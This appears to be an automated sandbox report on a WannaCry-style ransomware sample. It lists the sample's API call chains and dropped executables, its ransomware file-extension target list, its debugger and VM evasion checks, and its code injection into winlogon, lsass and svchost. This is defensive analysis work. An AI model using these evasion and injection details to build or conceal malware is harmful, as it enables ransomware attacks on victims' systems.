          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C205F2 FindCloseChangeNotification,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,FindCloseChangeNotification,4_2_00C205F2
          Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\tct5NKwZY8.dll,PlayGame
          Source: mssecsvc.exe, 00000004.00000002.773404878.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000000.452965577.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000000.460451882.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.541711223.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000000.464940003.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmp, tct5NKwZY8.dll, mssecsvc.exe.2.drBinary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
          Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\System32\BackgroundTransferHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\System32\BackgroundTransferHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: tct5NKwZY8.dllStatic file information: File size 5267459 > 1048576
          Source: tct5NKwZY8.dllStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C26B68 push edx; retf 4_2_00C26B76
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA6B68 push edx; retf 4_2_7FEA6B76
          Source: C:\Windows\tasksche.exeCode function: 22_2_00407710 push eax; ret 22_2_0040773E
          Source: C:\Windows\tasksche.exeCode function: 22_2_004076C8 push eax; ret 22_2_004076E6
          Source: mssecsvc.exe.2.drStatic PE information: section name: uyrrfpw
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23D36 LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_00C23D36
          Source: initial sampleStatic PE information: section where entry point is pointing to: uyrrfpw
          Source: initial sampleStatic PE information: section name: uyrrfpw entropy: 7.289272315241996

          Persistence and Installation Behavior

          barindex
          Drops executables to the windows directory (C:\Windows) and starts them
          Source: C:\Windows\mssecsvc.exeExecutable created and started: C:\WINDOWS\tasksche.exeJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeExecutable created and started: C:\WINDOWS\mssecsvc.exeJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
          Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
          Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
          Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
          Source: C:\Windows\tasksche.exeCode function: 22_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,22_2_00401CE8
          Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\BackgroundTransferHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\BackgroundTransferHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\backgroundTaskHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

          Malware Analysis System Evasion

          barindex
          Tries to evade debugger and weak emulator (self modifying code)
          Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A80780 instructions caused by: Self-modifying code
          Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A7A1E4 instructions caused by: Self-modifying code
          Contains functionality to detect sleep reduction / modifications
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C241784_2_00C24178
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA41784_2_7FEA4178
          Source: C:\Windows\System32\svchost.exe TID: 2860Thread sleep time: -30000s >= -30000sJump to behavior
          Source: C:\Windows\System32\svchost.exe TID: 5628Thread sleep time: -30000s >= -30000sJump to behavior
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2042D rdtsc 4_2_00C2042D
          Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
          Source: C:\Windows\mssecsvc.exeAPI coverage: 6.3 %
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA41784_2_7FEA4178
          Source: C:\Windows\mssecsvc.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Windows\System32\loaddll32.exeThread delayed: delay time: 120000Jump to behavior
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Network @vmicshutdown-block-oute
          Source: svchost.exe, 00000010.00000002.979027265.000001D107A38000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicheartbeat
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicheartbeat-block-out
          Source: svchost.exe, 0000001D.00000000.576920826.0000022FC5600000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any inbound traffic for vmicshutdown
          Source: svchost.exe, 00000026.00000002.992851131.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>X
          Source: mssecsvc.exe, 00000004.00000002.773404878.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000000.452965577.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000000.460451882.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.541711223.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000000.464940003.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmp, tct5NKwZY8.dll, mssecsvc.exe.2.drBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.cat
          Source: svchost.exe, 0000001D.00000002.990446414.0000022FC5F0E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow outbound TCP traffic for vmicheartbeatLMEM`
          Source: mssecsvc.exe, 00000004.00000002.774897897.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, mssecsvc.exe, 00000004.00000002.774419142.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, mssecsvc.exe, 00000006.00000002.544395963.0000000000D84000.00000004.00000020.00020000.00000000.sdmp, mssecsvc.exe, 00000006.00000002.543951912.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.842265002.0000011808856000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.503929657.0000029C1BC28000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000000.503572802.0000029C1BC28000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.972562646.0000029C1BC28000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: dwm.exe, 00000014.00000002.982743904.000002B2CDC24000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
          Source: svchost.exe, 0000001D.00000002.990446414.0000022FC5F0E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow outbound TCP traffic for vmicheartbeatLMEM`0N
          Source: svchost.exe, 00000026.00000000.630981619.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>gkGaQg
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicvss-block-out
          Source: dwm.exe, 00000014.00000002.982743904.000002B2CDC24000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
          Source: svchost.exe, 00000026.00000002.992851131.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
          Source: svchost.exe, 00000026.00000000.630981619.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>er>1.
          Source: svchost.exe, 0000001D.00000000.576920826.0000022FC5600000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@Allow outbound TCP traffic for vmicheartbeat
          Source: svchost.exe, 0000001D.00000002.977625103.0000022FC4B55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 389 traffic for vmicheartbeatLMEMp
          Source: svchost.exe, 00000026.00000000.619762845.0000018FBEA43000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.971651203.0000018FBEA43000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Microsoft-Windows-Hyper-V-Hypervisor
          Source: svchost.exe, 0000001F.00000000.590996428.000001D783629000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000_0r
          Source: svchost.exe, 00000010.00000002.982465472.000001D10825E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
          Source: svchost.exe, 00000026.00000000.630981619.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>ect
          Source: svchost.exe, 00000026.00000002.992851131.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>ati
          Source: mssecsvc.exe, 00000004.00000002.773404878.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000000.452965577.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000000.460451882.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.541711223.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000000.464940003.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmp, tct5NKwZY8.dll, mssecsvc.exe.2.drBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Common-Drivers-Package~31bf3856ad364e35~x86~~6.1.7601.17514.catp
          Source: svchost.exe, 00000026.00000002.992851131.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>nal
          Source: svchost.exe, 00000010.00000000.490085081.000001D107694000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicshutdown
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ^*@vmicheartbeat-allow-in-2
          Source: svchost.exe, 0000001D.00000000.576920826.0000022FC5600000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any outbound traffic for vmicshutdown
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicheartbeat-allow-out
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicshutdown
          Source: svchost.exe, 00000010.00000002.979027265.000001D107A38000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicvss
          Source: svchost.exe, 00000010.00000000.491670889.000001D107A13000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicshutdown
          Source: svchost.exe, 00000011.00000002.841137338.0000011803029000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@Q
          Source: svchost.exe, 00000026.00000002.991468429.0000018FBFC00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Allow inbound TCP port 389 traffic for vmicheartbeat
          Source: svchost.exe, 00000010.00000002.979027265.000001D107A38000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicshutdown
          Source: svchost.exe, 0000001D.00000002.977625103.0000022FC4B55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 636 traffic for vmicheartbeatTSPLMEMp
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ng-MPSS&@vmicheartbeat-allow-in-1
          Source: svchost.exe, 00000010.00000000.490085081.000001D107694000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@Block any other outbound traffic for vmicheartbeat
          Source: lsass.exe, 0000000B.00000000.470968871.0000024D5E089000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicvssNT SERVICE
          Source: mssecsvc.exe, 00000004.00000002.774897897.0000000000DD9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW0
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicheartbeat
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: tIsolat"@vmicshutdown-block-in
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@vmicheartbeat
          Source: svchost.exe, 00000026.00000000.622752382.0000018FBF600000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMwareVirtual disk2.0NULLSCSI0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\4&2509f6e&0&00A8
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any outbound traffic for vmicvss
          Source: svchost.exe, 00000026.00000000.630981619.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>lat
          Source: lsass.exe, 0000000B.00000000.470225373.0000024D5E013000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000002.969961043.0000024D5E013000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000B.00000000.466991880.0000024D5E013000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.969078724.0000016B3E228000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.969379801.000002027382E000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001B.00000000.571398520.000002027382E000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.974540887.0000022FC42B5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001D.00000000.574816648.0000022FC42B5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001F.00000000.591221336.000001D78363F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.975135297.000001D78363F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.619762845.0000018FBEA43000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
          Source: lsass.exe, 0000000B.00000000.470968871.0000024D5E089000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicshutdownNT SERVICE
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: tIsolat,@vmicvss
          Source: svchost.exe, 00000026.00000002.992851131.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>cat
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicvss-block-in
          Source: svchost.exe, 0000001D.00000002.977625103.0000022FC4B55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Allow inbound TCP port 389 traffic for vmicheartbeateLMEMp
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicshutdown
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicvss
          Source: svchost.exe, 00000011.00000002.842325752.0000011808863000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @Hyper-V RAW
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Block any other inbound traffic for vmicheartbeat
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicheartbeat
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicheartbeat
          Source: svchost.exe, 00000026.00000000.619762845.0000018FBEA43000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.971651203.0000018FBEA43000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $Microsoft-Windows-Hyper-V-Hypervisor
          Source: svchost.exe, 00000015.00000002.967529462.0000016B3E202000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
          Source: svchost.exe, 00000026.00000002.992851131.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>iIyq3
          Source: svchost.exe, 00000026.00000000.630981619.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>rmode>
          Source: lsass.exe, 0000000B.00000000.470968871.0000024D5E089000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicheartbeatNT SERVICE
          Source: svchost.exe, 0000001D.00000002.977625103.0000022FC4B55000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow inbound TCP port 636 traffic for vmicheartbeateLMEMp
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@Allow inbound TCP port 636 traffic for vmicheartbeat
          Source: svchost.exe, 00000026.00000002.992851131.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: eName>VMware7,1</deviceName></agent></connect>
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicheartbeat-block-ini
          Source: svchost.exe, 0000001D.00000002.979396370.0000022FC5607000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Block any inbound traffic for vmicvss
          Source: svchost.exe, 00000026.00000002.991468429.0000018FBFC00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: nonicVMware Virtual disk 2.0 NULL
          Source: dwm.exe, 00000014.00000002.975657790.000002B2CB581000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
          Source: svchost.exe, 00000010.00000002.979027265.000001D107A38000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicheartbeat
          Source: svchost.exe, 00000026.00000002.992851131.0000018FBFD00000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>rhKSn3
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C23D36 LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_00C23D36
          Source: C:\Windows\tasksche.exeCode function: 22_2_004029CC free,GetProcessHeap,HeapFree,22_2_004029CC
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2042D rdtsc 4_2_00C2042D
          Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C205F2 mov eax, dword ptr fs:[00000030h]4_2_00C205F2
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2042D mov eax, dword ptr fs:[00000030h]4_2_00C2042D
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C2025E mov edx, dword ptr fs:[00000030h]4_2_00C2025E
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 mov eax, dword ptr fs:[00000030h]4_2_7FEA05F2
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA025E mov edx, dword ptr fs:[00000030h]4_2_7FEA025E
          Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D mov eax, dword ptr fs:[00000030h]4_2_7FEA042D
          Source: C:\Windows\mssecsvc.exeProcess queried: DebugPortJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Maps a DLL or memory area into another process
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\jjmtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
